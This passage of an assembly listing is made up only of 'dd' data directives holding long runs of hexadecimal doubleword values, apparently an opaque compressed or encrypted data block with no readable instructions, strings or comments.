175A770Eh dd 0E2626D75h, 30DF5B5Dh, 0B54B345Ch, 0BBCB2AC5h, 33141955h dd 0DF5A2C2Bh, 0C3502D10h, 506BC64Fh, 79569142h, 0E2555049h dd 0C57AF626h, 45215822h, 86562E06h, 52F6B4CDh, 0DBA621E9h dd 2128242Ah, 2D324054h, 9FFA485Ch, 0A6A44BFFh, 0CF909629h dd 8F5ADCF5h, 4F1A903Eh, 3C91389Eh, 994AA0D0h, 55B80CA7h dd 781A6E55h, 0A538A2Ah, 624534E8h, 2D7F74B1h, 0E9B72CD0h dd 0FE9946Dh, 2F294E40h, 0ECF4742Fh, 0A062A447h, 0BDB0EB6Fh dd 3C91696Ah, 5A656AA4h, 697044DEh, 84791946h, 2CFCEF2Fh dd 0AFFB6B8Ch, 57003A25h, 0A8B0601Dh, 58495551h, 7229E654h dd 0A0D6214h, 0E7F20CF4h, 0A118A99Fh, 23B72E34h, 44186835h dd 423AB96Ch, 4ABDD010h, 53CAB0F6h, 2F4C39D9h, 0DCE43A2Fh dd 442E792Fh, 9E555943h, 56D5D65Ah, 79EB8893h, 3871A560h dd 54EFFCF2h, 4F10AFFFh, 523C68C4h, 0DB6B2955h, 0C7504978h dd 203815BFh, 9A788C51h, 0C8748736h, 8B5A7FFh, 706471B4h dd 2E1F2819h, 12939466h, 4C7DF2CEh, 0D3663BC8h, 9A538918h dd 0B6171ADDh, 6F6D14BCh, 19544876h, 0D0C7952Eh, 0A5579AE8h dd 45722C71h, 0E83CB42Eh, 5EE1796Ch, 0A24A24h, 5E9839E4h dd 10B34AC1h, 0FF565289h, 4149ED73h, 0F2485C2Eh, 95869E57h dd 48212D6Fh, 8B4B61F1h, 0B418A992h, 70BE42ABh, 8B756F62h dd 0C8447931h, 0BD206412h, 0F3A769B6h, 756C8D64h, 7D8205AAh dd 7161443h, 0D45052F3h, 674AEE63h, 8E542C2Eh, 0BC2C841Ch dd 725023DCh, 2D35D9F1h, 0C778C9E1h, 8AA7C90h, 0D6534E44h dd 0BC7C39D0h, 4F079672h, 0D1816AD7h, 819DB53Ch, 0BE7A0C22h dd 5049E1ABh, 72747B3Ah, 0D45E7BA9h, 0C02DAF84h, 6460493Ah dd 3AF2604Dh, 93763D3Ch, 6582A244h, 120A797Eh, 0E84F785Ch dd 3C22F766h, 0FBD26FB9h, 0BAEB3497h, 0AD2EB128h, 5E0CA634h dd 614D2080h, 0A0C55371h, 0E5BC4163h, 0A58ACE5Ah, 37B7FCC9h dd 1BD1FB1Ch, 2D3C8FFEh, 0A0F498C7h, 9E757127h, 0F4691392h dd 0B29F5298h, 1A10D164h, 7BD6F65Ah, 0CC1425D7h, 55B66A9Dh dd 3CE84C37h, 0DA4C54C9h, 0CA62BA7Dh, 8CC2D8C8h, 0F0CCB628h dd 0FBF94850h, 0CC4727E7h, 45634D0Eh, 974144AEh, 0D437C4DAh dd 201FDEF9h, 0DA686FAFh, 0C4213F47h, 0E923EE3Bh, 0E0B1F570h dd 0A0F5993Fh, 634B048Eh, 74DD0CB3h, 62794920h, 1776904Bh dd 13637928h, 2C2650D2h, 9F0884E8h, 0EC91E0CEh, 8C90EE27h dd 23789B14h, 2D162308h, 56D6785Ah, 85EA0699h, 0FC956635h dd 85950B3h, 0F7400C46h, 8614AE70h, 63672D0Ch, 0EFC42492h dd 96FC64B4h, 626109C0h, 2037B8D1h, 5D21151Eh, 0D94CA248h dd 0C1ED2554h, 0D6507225h, 3C1E8860h, 0ED264568h, 0E4DD3E12h dd 58732A0Dh, 2E307724h, 205C73BCh, 0BCA8F4BDh, 0C3D164C9h dd 1213EE39h, 0B4160B6h, 0F53F4FF7h, 0E011A1D0h, 690D48BCh dd 0D42C5809h, 2162D9BCh, 4897075h, 18566A4Ah, 9CA509B4h dd 4F4B3184h, 41C78353h, 443459B0h, 3BC8EBB5h, 32557909h dd 84194ED3h, 110C5430h, 94096734h, 9B32E829h, 0A21F7002h dd 9DD0440Bh, 0F070E193h, 0B6A429B4h, 477A08EAh, 1D34359Ah dd 2D5BBCE7h, 0F4982C7Ah, 47561A15h, 3372131Dh, 5D5FEAB3h dd 0FDE62AD1h, 0C9888D6Ah, 71139A75h, 69265619h, 8D30C52h dd 8494ACBh, 79243D5Fh, 7369849Ch, 11A49917h, 4662630Ch dd 2686924Ah, 12BBCAB5h, 72C01111h, 9D2A0B49h, 1D1919A4h dd 199F3508h, 3C2D7B0Ch, 646AE035h, 562025F0h, 7074DF9Dh dd 7CCA5CBCh, 262114A1h, 4CA07325h, 0B2B54349h, 13141210h dd 98AA749h, 1468B04Ah, 9730869h, 0A114452Dh, 68BACB74h dd 1CA14065h, 86EDE4ADh, 6475290Ch, 0C8E02417h, 24534B16h dd 0C7950D22h, 389EACD0h, 0A58499CEh, 9A7FE683h, 6896BDA9h dd 516C12CBh, 48504840h, 5257457Dh, 0A540A50Ch, 53A0F17Bh dd 0A1E7204Bh, 7AE49D4Ah, 50C1A439h, 2F1911A3h, 18B030C5h dd 0AE504455h, 3232BF30h, 0B05CAF29h, 11F068D3h, 2B14C825h dd 887E691Ch, 0AA5421ECh, 0D64F3A0Ch, 5250C818h, 375350DCh dd 38185339h, 1C482C21h, 1A5A2C48h, 0D4251C29h, 0C1A94C43h dd 53C2C744h, 8DC21B2h, 8A2B456Dh, 4D23DC84h, 442D6FE0h dd 365BCC1Ah, 6AB2181Ch, 4753A8BCh, 683C7429h, 0CFE708CCh dd 0B0E6E490h, 0AF3C29D7h, 0D04CBC3Dh, 1C900C59h, 1032109Ah dd 515ADCF9h, 687EAEE4h, 6771E818h, 5B14EA62h, 6A752125h dd 66083270h, 0B8149912h, 0CA420E56h, 0F2EC104Ah, 1A9DA65Bh dd 56097A72h, 0A0F371Eh, 7B4C2761h, 0F01BEC8Ah, 4B5075D3h dd 48D3331Eh, 4EB78253h, 91E3637h, 245B91FAh, 0A22849F0h dd 3C1B5308h, 416F8B4Fh, 78B5331Ch, 0F19DCCB7h, 287C1928h dd 86046425h, 632581D0h, 5E889B3Fh, 0B0AD6CC5h, 7F27ACD6h dd 0FAC0C09Ah, 69726F68h, 4621D07Ah, 7CF93A27h, 0DB7234E8h dd 0AAFBA774h, 1C4E1227h, 0A5308531h, 5F53E1F1h, 46987B80h dd 6D3ED99Ch, 4305594Eh, 6D544148h, 0C11C2A28h, 0CC9584AAh dd 7492977Eh, 3D12D23Ah, 7649D417h, 1EA77FD3h, 5001273Ch dd 0E2143AADh, 0DA2D856h, 569E208Dh, 76535209h, 382323FCh dd 0CA7E1156h, 57CC2319h, 5EE9022Bh, 0A79CA41Ch, 0C094BC2h dd 88158F2h, 4D32C533h, 78293E74h, 92A8DB6Bh, 5E2E634Bh dd 6984DE20h, 4B353339h, 9D3EB489h, 3A080238h, 7C69B2DDh dd 10E5A7A4h, 7423DE48h, 82FB7368h, 0DD38B24Bh, 19288C3Bh dd 40E0BD34h, 8EDF70A2h, 351C7DA3h, 0BCD12721h, 0C7B8F469h dd 6547F54Fh, 663770Dh, 20420921h, 48143A24h, 61637084h dd 0F582704Ah, 0E92A7A44h, 0FE73C3DAh, 92705F12h, 6C7941C9h dd 37EB3834h, 0D6126D35h, 1BFF9ECAh, 79367E4Dh, 45898A76h dd 60CA6F74h, 444C5104h, 109087E3h, 0C55C4637h, 6CEBB048h dd 281049EFh, 463D5847h, 45216511h, 115EBFFCh, 0E8DC3097h dd 6E450F84h, 0D4DF4176h, 91D05072h, 0EE5343CAh, 62648F1Eh dd 53847235h, 0F732AB48h, 3537784Eh, 89217966h, 0B152055Ch dd 63B90983h, 252D436Ch, 327E257h, 43636EBFh, 0DD444D24h dd 0B574132h, 0CE41C818h, 2D3464EEh, 69142AF4h, 8A09F852h dd 0B899D560h, 4741FB49h, 9AF7E6C1h, 1151A8E0h, 0B7E85492h dd 1E5324DCh, 0EBFC3968h, 163045DEh, 462F0B44h, 6B527769h dd 0E704D8CDh, 3E4490A9h, 2041535Fh, 969531F6h, 0C9149205h dd 0BAEA57BEh, 0A4EB6C09h, 96E6214Ah, 0A4754217h, 4C95532Ah dd 2431D218h, 6627645Dh, 752BDC10h, 0C3220C6Dh, 0E78A188Eh dd 77460C2Bh, 444F5414h, 0F041CD44h, 0D9495809h, 0A953580Ch dd 9B286496h, 6234114Ch, 0FD14356Fh, 0B5D4503h, 0CC36810h dd 0C72F2AE8h, 4A28A096h, 8F8B149h, 0A2CA45B0h, 0E1C9106Fh dd 4232730Ch, 894E219Ah, 1F694634h, 602824ABh, 7A6F4D3Ch dd 61C528DEh, 0BAE342Fh, 81FC284Bh, 762AA14Ah, 7B482955h dd 4C0F50D9h, 0D44E1443h dd 2D4E2442h, 5578D628h, 6C29557Ah, 4F651441h, 130D60E1h dd 2443140Fh, 4F197492h, 0E9DF4824h, 0F0C0B5CCh, 14A573F4h dd 14873420h, 47153C23h, 4E4CD43Fh, 3D0ADED5h, 0BFD41C78h dd 0A1E57846h, 6394FF37h, 95D692D8h, 0B4B8BC20h, 0D25DB8C4h dd 62C55CADh, 683EB979h, 28521066h, 2CE8101Eh, 0C2242C8h dd 70FD19F3h, 3C9AFFDEh, 54710809h, 5DA4AFA5h, 0CC9688E8h dd 0FC94C669h, 0A36E9476h, 8C5B250Ch, 206F7488h, 0F131EBBFh dd 730891C2h, 0A33DD817h, 8410A06Ch, 9C5F57C1h, 53BF0C45h dd 9479E1F0h, 850E28DAh, 0E8D86CAAh, 84816907h, 7C434153h dd 2A5A4883h, 1BA90C70h, 9A8BF64Ch, 10483374h, 42334914h dd 0E05F3884h, 4944461Dh, 8D7FED73h, 0DA1DBF48h, 0F5638C0Fh dd 0DD21DBC0h, 0CE9535Dh, 54C22825h, 32737702h, 2692655Fh dd 624FC1D4h, 427C776Ah, 3C967610h, 0D7694243h, 122DDA3Fh dd 0BA241450h, 42492445h, 589328AFh, 5EA4F772h, 0CB726514h dd 0F88440B8h, 0A5244DBBh, 14A4465Bh, 2EA2776Dh, 144358CAh dd 0B299977h, 291C6467h, 89A44759h, 33AC294Eh, 7456EA44h dd 0B766AD09h, 3A797425h, 6412FDBFh, 7B958464h, 3646ADE3h dd 83466D3h, 8CDD1535h, 150DDC19h, 0E65EF9A5h, 9A111A52h dd 90E1A21h, 16C81275h, 3510840Fh, 939C4D43h, 254C727Ah dd 0D66A35E0h, 6B6FFA81h, 25D22EADh, 30D0629Ah, 0A5FC96FCh dd 0B9D113D1h, 0B550AE7Eh, 352A70B2h, 166C6400h, 1A76A20Ch dd 676CC574h, 2D242441h, 141D2B0Fh, 0D8ADCBE9h, 320C8220h dd 31521BC3h, 72105121h, 0C60F5479h, 3084224Ch, 12850E92h dd 63668135h, 3422D183h, 0E0D6341h, 6600C92Fh, 1978D5A0h dd 67626F46h, 262957CEh, 14820566h, 6F540A11h, 0AD417282h dd 0A6368124h, 741A1969h, 365113Bh, 313269B4h, 84E2CB73h dd 293F8C99h, 7240146Bh, 66D4440Eh, 23485C29h, 73ACA45Ah dd 0BA799C92h, 8E004482h, 0D008B70Bh, 8D0B529Bh, 0D538012h dd 0A8A70029h, 5251CE11h, 5D00D92Ah, 0A97B5DC4h, 69BF3530h dd 4E06D008h, 46174F6Dh, 4BB5B2D3h, 1C0AE7B1h, 6279A196h dd 999D70A2h, 0AE47503Ch, 4539CE4Dh, 707954C2h, 2F2175ADh dd 11AE0552h, 851170Dh, 73594A7Ah, 1B814828h, 285FBF6Bh dd 0C491C414h, 47B56F4Dh, 0C412A204h, 2D6F73B1h, 4E229D80h dd 0F4107894h, 0BD642135h, 6C271BECh, 570E904h, 60976E53h dd 0E674EBBFh, 1215B388h, 89BCA94Dh, 6C4A496Bh, 0F997CC23h dd 407CDD2Ch, 0BD4C7144h, 0A45EC1C2h, 0DC3C41D9h, 9D75BBE4h dd 7964CAA2h, 0B84F14Fh, 0E553891Ah, 0C833A370h, 72700ADCh dd 494F5E1Ah, 351E1439h, 1A00104Eh, 389C4EBCh, 96343C72h dd 7118A124h, 0B4302C57h, 572E9C2Bh, 714EA1F4h, 659DE647h dd 7695411Eh, 9965AD80h, 4BC9E90Eh, 348F801Eh, 48CBDB3Ch dd 7DF3E993h, 0AB9F29B8h, 9067E6ECh, 0DD695F5Dh, 3095C2B1h dd 0FAB25EBDh, 63AF2D9Eh, 5FDC4EBAh, 9B605B5Bh, 55AFDA7Ch dd 2A79DB25h, 1E34F24h, 0E21A124Bh, 5A3247F4h, 2DAAD894h dd 8719A488h, 1296C9Ch, 40AAAC61h, 0AB41C42Dh, 0B479100Dh dd 28AB191Ah, 2F6A5B4Ah, 38F4C55Dh, 28AB7714h, 23706D1Ch dd 0C42A0391h, 74755B14h, 0D088BB43h, 28AC6B62h, 51602608h dd 0D7099A05h, 53EA2929h, 631B8C7h, 87AEED09h, 4315E828h dd 4409DC06h, 0C089CCD4h, 0B024B812h, 0A091A848h, 90449822h dd 12808988h, 486C2478h, 22549160h, 3840444Ch, 28123089h dd 18482024h, 4220C91h, 4414F820h, 0E089E8F0h, 0D024D812h dd 0B891C448h, 0A844B022h, 129489A0h, 48802488h, 226C9174h dd 545C4464h, 40124889h, 30483824h, 20222891h, 2E0C12FFh dd 13F81B11h, 959A4E1h, 24D412DCh, 91BC48C8h, 44A822B4h dd 8889949Ch, 74248012h, 60916848h, 48445422h, 1230893Ch dd 48202428h, 22109118h, 0F811E108h, 45D1BA12h, 0D0092CE2h dd 0B812C889h, 0A048AC24h, 90229891h, 89788044h, 245C1268h dd 91444850h, 442C2234h, 10891824h, 4240812h, 811FC44h dd 22E891F4h, 0C8D444DCh, 0B812C089h, 0A848B024h, 90229C91h dd 89808844h, 24701278h, 915C4864h, 444C2254h, 2C893440h dd 18242012h, 4910C48h, 0D910FC1Bh, 44EC0922h, 0D489DCE4h dd 0C024C812h, 0AC91B848h, 9C44A422h, 128C8994h, 48782480h dd 22689170h, 50584460h, 3C1C4889h, 2C123489h, 1C482424h dd 0C221491h, 6EFC0444h, 7891F90Fh, 225FE48Bh, 0BEC817F9h dd 0B0099145h, 0A044A822h, 128C8998h, 48782480h, 22649170h dd 404C4458h, 2C123889h, 14481C24h, 4220C91h, 440EF820h dd 0DC89E8F0h, 0CC24D412h, 0B891C448h, 0A444AC22h, 12908998h dd 48802488h, 22709178h, 50584464h, 3C124489h, 28483024h dd 10221C91h, 40F80444h, 0E889EC0Dh, 0D424DC12h, 0C091C848h dd 0AC44B422h, 129C89A4h, 488C2494h, 227C9184h, 646C4474h dd 54125C89h, 40724C24h, 2C483824h, 1C222491h, 8B081444h dd 0CF84684h, 0E409C8F1h, 0D422DC91h, 89C8CC44h, 24B812C0h dd 91A848B0h, 449422A0h, 7C89848Ch, 6C247412h, 5C916048h dd 48445022h, 12388940h, 4820242Ch, 70089114h, 0D90BF888h dd 12E009E9h, 48C824D0h, 22B491BCh, 98A044A8h, 88129089h dd 74487C24h, 64226C91h, 89505844h, 24381244h, 9124482Ch dd 4414221Ch, 0FC88040Ch, 12F4810Ah, 48E424ECh, 22D491DCh dd 0B8C044C8h, 0A812B089h, 94489C24h, 84228C91h, 89747C44h dd 2464126Ch, 914C4858h, 44342240h, 1C89242Ch, 0C241412h dd 0FC8D0448h, 991E909h, 44E022E8h, 0C489CCD8h, 0B424BC12h dd 9C91AC48h, 8C449422h, 127C8984h, 486C2474h, 22589160h dd 3C484450h, 24123089h, 14481C24h, 4220C91h, 4408F820h dd 0DC89E4ECh, 0C824D012h, 0B891C048h, 0A444AC22h, 1294899Ch dd 4880248Ch, 22689170h, 44504458h, 30123C89h, 20482824h dd 0C221491h, 7F811E1h, 0E824F002h, 0D091DC48h, 0BC44C422h dd 12A889B4h, 489824A0h, 22849190h, 6C74447Ch, 5C126489h dd 4C485424h, 38224491h, 89283044h, 24181220h, 20225C0Ch dd 0EC4406F8h, 12DC89E4h, 48C824D4h, 22B091BCh, 909844A4h dd 7C128889h, 70487424h, 64226C91h, 89505C44h, 24401248h dd 912C4834h, 4514221Ch, 0F822C208h, 48F00405h, 22DC91E4h dd 0BCC844D0h, 0A812B089h, 94489C24h, 84228C91h, 896C7844h dd 245C1264h, 91484854h, 44342240h, 1489202Ch, 4240C12h dd 22B0FC4Eh, 0E0E844F4h, 0CC12D889h, 0BC48C424h, 0AC22B491h dd 8998A044h, 24881290h, 91784880h, 44682270h, 50895860h dd 40244812h, 34913848h, 20442C22h, 17088914h, 3F48D08h dd 92CD2E9h, 12C889D4h, 48B424BCh, 22A491ACh, 84904498h dd 74127C89h, 64486C24h, 54225C91h, 89444C44h, 242C1238h dd 91204824h, 44102218h, 26EFC08h, 96491E1h, 91D448DCh dd 44C022CCh, 0A889B0B8h, 9424A012h, 80918C48h, 6C447422h dd 12588960h, 48482450h, 2230913Ch, 1C204428h, 0C121489h dd 0FC460424h, 9C8E101h, 22E491ECh, 0CCD444DCh, 0BC12C489h dd 0AC48B424h, 9C22A491h, 89848C44h, 246C1278h, 91584864h dd 4444224Ch, 28893038h, 18242012h, 4911048h, 0F040FC38h dd 0E012E889h, 0CC48D424h dd 0BC22C491h, 89ACB444h, 249C12A4h, 918C4894h, 447C2284h dd 64896C70h, 54245C12h, 40914848h, 2C443822h, 121C8924h dd 480C2414h, 0FFFC8604h, 9C8F042h, 22E091E8h, 0C4CC44D4h dd 0B412BC89h, 0A448AC24h, 94229891h, 89848C44h, 2474127Ch dd 9164486Ch, 444C2258h, 30893C44h, 20242812h, 0C911848h dd 0FEF88870h, 0E409E9D9h, 0D424DC12h, 0C491CC48h, 0B444BC22h dd 12A489ACh, 4890249Ch, 22849188h, 606C4478h, 48125489h dd 34483C24h, 24222C91h, 89141C44h, 0FDFC1104h, 0E809D9B2h dd 0D848E024h, 0C422D091h, 89B0B844h, 249C12A4h, 91844890h dd 4470227Ch, 50895C64h, 40244812h, 28913448h, 18442022h dd 170C8914h, 0FCF88808h, 0E422EC11h, 89CCD844h, 24B812C4h dd 91A448B0h, 4490229Ch, 78898088h, 68247012h, 50915C48h dd 3C444822h, 12288934h, 48182420h, 7F049110h, 89F0FB40h dd 24E012E8h, 91D048D8h, 44BC22C8h, 9C89A4B0h, 88249412h dd 78918048h, 64446C22h, 124C8958h, 483C2444h, 22289130h dd 0C14441Ch, 0F846848Bh, 17E9D9FAh, 0F245BE88h, 8B7C912Fh dd 44B40922h, 9889A0A8h, 88249012h, 78918048h, 68447022h dd 12588960h, 48502454h, 22389144h, 1820442Ch, 8121089h dd 0FC10112Eh, 44F422F9h, 0DC89E4ECh, 0C424D012h, 0B491BC48h dd 0A444AC22h, 1294899Ch, 4880248Ch, 226C9174h, 4C5C4464h dd 38124489h, 28483024h, 10221C91h, 0E3F80444h, 0E009D1B2h dd 0CC48D824h, 0B422C091h, 89A0AC44h, 24901298h, 917C4884h dd 44682274h, 4C89545Ch, 3C244412h, 2C913448h, 1C442422h dd 11088910h, 0F002F7FCh, 0E048E824h, 0D022D891h, 89C0C844h dd 24B012B8h, 91A048ACh, 448C2294h, 74897C84h, 64246C12h dd 54915C48h, 44444C22h, 1230893Ch, 481C2428h, 1004910Ch dd 0F422F6FCh, 89E4EC44h, 24D412DCh, 91C048CCh, 44B022B8h dd 9889A0A8h, 7C248812h, 68917048h, 58446022h, 12488950h dd 48342440h, 2224912Ch, 0C14441Ch, 0F844848Bh, 91F008F5h dd 44E022E8h, 0D089D4DCh, 0BC24C812h, 0A891B048h, 9844A422h dd 12888990h, 48782480h, 22609170h, 48504458h, 38124089h dd 28483024h, 10221891h, 41FC0844h, 0EC24CEF4h, 0D491E048h dd 0C044CC22h, 12AC89B4h, 4894249Ch, 2280918Ch, 646C4478h dd 54125C89h, 44484C24h, 34223C91h, 89283044h, 2414121Ch dd 8804480Ch, 0F011F3FCh, 0E044E822h, 12CC89D8h, 48BC24C4h dd 22A491B0h, 88904498h, 78128089h, 68487024h, 58226091h dd 89404C44h, 242C1234h, 911C4824h, 440C2214h, 0F240FC04h dd 12EC89F4h, 48D824E0h, 22C891D0h, 0A8B044BCh, 9812A089h dd 84489024h, 74227C91h, 89606844h, 24501258h, 91384848h dd 4424222Ch, 8891018h, 0F0880817h, 22E811F1h, 0CCD444DCh dd 0B412C089h, 9848A424h, 84228C91h, 896C7844h, 24581260h dd 91484850h, 44382240h, 18892430h, 0C241012h, 0F8880448h dd 22EC11F0h, 0D8DC44E4h, 0C412CC89h, 0B048BC24h, 0A022A891h dd 898C9844h, 247C1284h, 916C4874h, 44582260h, 34894048h dd 24242C12h, 14911C48h, 4440C22h, 0E1EF6EF8h, 228B7891h dd 0CC44D409h, 12BC89C4h, 48AC24B4h, 229891A4h, 7C884490h dd 6C127489h, 5C486424h, 44225091h, 89343C44h, 2424122Ch dd 9114481Ch, 0F888700Ch, 22E9DDEEh, 440916F1h, 0BC89C4CCh dd 0AC24B412h, 9891A448h, 84449022h, 1270897Ch, 485C2468h dd 2240914Ch, 242C4434h, 0C121889h, 0F410112Eh, 44E822EDh dd 0CC89D4DCh, 0BC24C412h, 0A891B048h, 9844A022h, 12888990h dd 48742480h, 2264916Ch, 48504458h, 38124089h, 28483024h dd 14222091h, 6DFC0844h, 0DE09E1ECh, 0DC48E424h, 0C822D491h dd 89BCC444h, 24A412B4h, 9194489Ch, 4484228Ch, 6C89747Ch dd 5C246412h, 4C915448h, 40444422h, 12308934h, 48202428h dd 220C9114h, 0EBFC3704h, 45BC48F9h, 0BD80991h, 5874795Ah dd 696B2297h, 0CB7B18DEh, 119662A1h, 0D9A4FC75h, 1B3B6310h dd 50C736D3h, 6B61646Ch, 623C21D9h, 9108FFAh, 36F65C67h dd 77F20C21h, 0D70C4CBDh, 0F211E118h, 99630887h, 59EB23F5h dd 0E0184E75h, 2D2F6B16h, 0DF34E653h, 66097318h, 250D1F8Dh dd 765551F8h, 9B03E08h, 6608A36Eh, 10610474h, 3D74626Eh dd 74B521F7h, 109B38BCh, 86D99AFEh, 8CD66E11h, 0D16D1046h dd 97450814h, 563B9EB8h, 59795064h, 0E8997210h, 9D576475h dd 2D8A64C8h, 5B27D050h, 86102230h, 6E652108h, 489559B7h dd 2692875Ah, 88BA6C10h, 51676940h, 1B6E0874h, 11E630A1h dd 526CDDFDh, 0DC8857CCh, 0B4116DA0h, 0C9EC2612h, 0EB19568Dh dd 0DAFEF8BCh, 6E398531h, 0D00C2350h, 43389C08h, 6D1A825Ah dd 72F8088Ch, 46675CA1h, 11DF74B3h, 20732ABCh, 729010DEh dd 0BC7341D9h, 0D1564058h, 845D7FDh, 685723EAh, 6BF6E8CEh dd 0DA0C4ED0h, 6508117Eh, 0F8FD1BC2h, 2D116A53h, 107937BDh dd 387AC85Fh, 8DC62A45h, 6C88D96Ch, 7EAABE67h, 0D6DCE0A6h dd 10C6346Ah, 0D0507267h, 682ACF11h, 93CC8210h, 0B4406E69h dd 7AF2E0F6h, 0EF6914A9h, 0C1E8DE4h, 0C590620Ch, 0C64722Ah dd 0D0656E48h, 7D929A18h, 0CD527AEh, 507ED06Bh, 0E7409BCFh dd 4E5694C8h, 0C9C420DBh, 1C92FA5Ch, 664CE52Fh, 20A3791Ch dd 6ED09651h, 686AE297h, 0A04A21B5h, 0CA2B262h, 0A4898790h dd 7010A576h, 0D0208438h, 2C53EB78h, 2835106Fh, 2446199Ah dd 6E115661h, 93FA6963h, 1D5AE548h, 4824B338h, 1940C020h dd 757A2455h, 73056F6Ch, 8FD93764h, 2D671198h, 9EA24277h dd 6220602Ch, 706918A4h, 0C73B1342h, 986DDFDCh, 53348B5Bh dd 54130E20h, 727D4B7Ah, 936FD1FEh, 0F0136126h, 0D0699075h dd 0C94008FCh, 11538B6Bh, 0D5106FC1h, 64106150h, 3F0D6567h dd 7386B137h, 6F46C532h, 0BF0C2576h, 0B5DC4C1Bh, 98B00C26h dd 2D16DE12h, 608B0FF8h, 0B4794821h, 0A9908D10h, 6C1F7010h dd 65121429h, 84507ACh, 0EB0829A0h, 80F58AE6h, 0E56E9BCFh dd 85770822h, 8147297h, 0D56B3C74h, 6F5CBD08h, 75700391h dd 0F1D1E66Ch, 3B20F8A1h, 64D783DEh, 68E41147h, 8A1D710h dd 756F482Fh, 660CA170h, 0AC697624h, 0E3A490A8h, 81A66EFDh dd 6B10EDF4h, 78ABE150h, 0C6A96851h, 0A21A2C8Fh, 11080D55h dd 64674A7Ah, 0D1592808h, 0F2949CE4h, 7C41854Ch, 0DB560521h dd 7450B5BCh, 684D24ACh, 96369E6Ch, 0E7C8A322h, 0D1BB0C2Ah dd 6D119557h, 9B109AA8h, 61102729h, 1134D3DCh, 0C2C2D7FAh dd 8466E70h, 99C46149h, 28BE7610h, 40D8C16Bh, 121055F1h dd 296DFC8Ah, 0C92F1C7Ah, 119772F0h, 1BC0166Dh, 0D2F411A8h dd 38996FAAh, 0F509BE69h, 10CD9890h, 29066253h, 74D5E911h dd 45B8A63Fh, 18D96F0Ch, 400ACBF2h, 0DE6F0886h, 6D546609h dd 761E5210h, 0E9F4C4B2h, 186D3868h, 8D66EBE7h, 8D8081Ah dd 39B608B0h, 8B9E9A11h, 0A972C220h, 69C5A540h, 26752054h dd 19EDDD7Ah, 0C5673121h, 49B80C45h, 8450C56h, 20778154h dd 2F702DCFh, 4BEE2009h, 4F2DA957h, 0A46E1374h, 0DD25AB10h dd 0C05838Dh, 50516B52h, 18825E18h, 66088672h, 6211DA27h dd 59644669h, 6E7D7390h, 4CF3DD11h, 0C4B85B6Fh, 0BF5C511Dh dd 6D380842h, 9FA04B46h dd 4D11CC79h, 0A0AC69E7h, 0E6107068h, 51086414h, 0D5E70714h dd 0FC142573h, 68597FF3h, 2A10D0C3h, 0A2F16863h, 882ED0Ch dd 102256FCh, 0A47A6921h, 0E9649E32h, 7218326Ch, 808A4CAh dd 0B71C20C7h, 4A74F541h, 6E196DC4h, 0D26B0813h, 2BEA1270h dd 99720804h, 0EB10BFACh, 0CAC88C0h, 0BC226D96h, 510C9A76h dd 0FB1034E4h, 34106911h, 64101463h, 2DAD4CEBh, 0AFF15972h dd 3CB784F9h, 1BA2088Bh, 8B0D1036h, 61102A6Ch, 586B6834h dd 0B8C2AC4Ch, 0D10879A8h, 6925202Eh, 1069B89Bh, 11162DDAh dd 62CD097Bh, 18D51546h, 55865E2Fh, 0B00C8614h, 944C8461h dd 8D23C18h, 1BF2F37Ah, 7469CEFEh, 0B4DBF611h, 0D444C421h dd 94085A74h, 6611E20Dh, 40106CECh, 70F0866Bh, 9A8053D1h dd 6433A519h, 0FFCF2037h, 0F0A70CEBh, 840884B9h, 942D9A10h dd 250C68DBh, 47FF5850h, 641C7A08h, 7959826Eh, 9F6B08A7h dd 1464149Fh, 4069D59Eh, 0E4E7EF78h, 72664059h, 78106473h dd 10BE9ACDh, 5989D569h, 0BC64901Ah, 8D1C47FFh, 61E80209h dd 6BF8F464h, 10B790B9h, 9F24F4DFh, 9F106294h, 630440E9h dd 7DC96475h, 948910A0h, 6810B1C4h, 0E40D7B77h, 0AFE23C72h dd 7C24150Ch, 6C797516h, 0DF195C76h, 0AA082AC6h, 0E080B46h dd 67A7395Ah, 0BA44205Dh, 0AA108426h, 0D34C4E88h, 7D34FC19h dd 6A9620A6h, 935114Dh, 0F361341Ch, 1A9FC0B7h, 1466450Ch dd 7C424414h, 6F2A1E6Fh, 79696F3Ch, 804B2C2h, 0C778E177h dd 88821177h, 3225A50Ch, 74100F74h, 29B69A08h, 25846208h dd 0F2897208h, 18320804h, 0D0886C70h, 2A9E30E3h, 2D7A1F8Eh dd 0DEBB6852h, 8921374Eh, 1029A11Bh, 0ECA0786Ch, 66680884h dd 64120841h, 61925464h, 0C0CCD574h, 46795237h, 0DB89734Eh dd 90F11A7h, 1899DC55h, 9A6F3264h, 12083319h, 36796F09h dd 776A1090h, 54390909h, 98A6670Ch, 0D8010DAh, 0D541061h dd 0EE621849h, 0A518DEEBh, 21086C28h, 0D145AA6Ch, 0E35C08D4h dd 91120841h, 89088A79h, 34FC6F92h, 0EF7C26DFh, 4985AE1Ah dd 7008096Bh, 116F27A6h, 41CF1BBFh, 0ABDEA110h, 6C752620h dd 0F3435B66h, 6DF86423h, 7164BC58h, 0E9F3754Fh, 2B211869h dd 32542D6Eh, 7A30940Ch, 77306B95h, 1175F111h, 34B711A4h dd 67084F70h, 0AE119271h, 8B6A2628h, 0F020CE2Ch, 2A182BDBh dd 472C6B86h, 0A4917862h, 0A6EC70A5h, 4210DBB5h, 50746B96h dd 0F38B9492h, 6FD7F3C4h, 6AC9F311h, 1694852Bh, 2D9949F1h dd 12457D43h, 0DCC5E210h, 75A11834h, 7AA6080Dh, 6518CC8Dh dd 74A1764Eh, 0F6840806h, 0F208A36Ch, 42BFAB70h, 4B6C9BAAh dd 10813610h, 6D440CD1h, 0EF047A1Eh, 792C0819h, 6B08A5EEh dd 59511856h, 2EB85A38h, 9B480843h, 19DB0F48h, 3FC6EAD7h dd 0D240A4FBh, 26121709h, 617710B8h, 74656B10h, 1013689Ah dd 55D46842h, 8B101767h, 65AF3442h, 732A660Fh, 34C9A154h dd 62082232h, 19C258ECh, 6C7A7572h, 0B419D165h, 64FB5696h dd 290C519Ah, 0CC281169h, 34D0A308h, 10B91111h, 186F5276h dd 3925DE51h, 55DC10A8h, 41251079h, 36C1049h, 618F4C91h dd 14C68D76h, 64820D0Ch, 4ABFE354h, 7488C9F0h, 0AC332F83h dd 8761825h, 7BA908C1h, 960C10B6h, 1C6F148Bh, 8489C492h dd 65080455h, 648CD266h, 0F8A14A9h, 9A3CA1BFh, 9C794372h dd 6ADF19B7h, 6D970873h, 136D9F1Ch, 71185170h, 3755D04Bh dd 0C43F36Dh, 757A717Bh, 46928E6Fh, 41707253h, 0CFFB75EFh dd 5A0C5AC5h, 1048E413h, 10752AE2h, 0C56FBE81h, 31284972h dd 9E740929h, 6B754458h, 